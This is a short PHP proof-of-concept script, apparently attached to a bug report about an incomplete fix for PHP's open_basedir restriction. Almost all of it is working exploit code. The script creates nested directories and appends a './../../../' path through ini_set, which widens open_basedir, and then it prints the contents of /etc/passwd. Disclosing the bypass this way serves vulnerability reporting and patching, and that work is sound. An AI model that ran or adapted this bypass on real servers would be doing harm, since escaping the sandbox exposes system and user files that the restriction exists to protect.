open_basedir insufficient fix #76359 #10469

<?php
//just as an example, we try to read /etc/passwd
 function read_etc_passwd(){
    $content = @file_get_contents("/etc/passwd");
    if ($content !== false){echo $content;}
    else {echo "Nope, /etc/passwd not readable".PHP_EOL;}
 }
 echo "Running PHP version ".PHP_VERSION.PHP_EOL;
 read_etc_passwd(); //should fail
 $path = "a/b/c"; //create 3 sub-dirs, cause we are in /usr/src/myapp (3 levels)
 $here = getcwd(); //save CWD
 if (mkdir($path, 0777, true)){
   chdir($path); //move to these new dirs
   ini_set("open_basedir", ini_get('open_basedir').":../../../"); //try to change open_basedir with old payload
   chdir($here); //get back to previous dir
   echo "open_basedir directive is still ".ini_get('open_basedir').PHP_EOL; //should have failed, open_basedir is still the same
   read_etc_passwd(); //confirm by trying to read /etc/passwd, should fail
 }
 //now do the same, but preprend ./ while modifying open_basedir
 $path = "d/e/f";
 if (mkdir($path, 0777, true)){
    chdir($path);
    ini_set("open_basedir", ini_get('open_basedir').":./../../../");
    chdir($here);
    echo "open_basedir directive is now ".ini_get('open_basedir').PHP_EOL;
    read_etc_passwd(); //now it works
  }
  ?>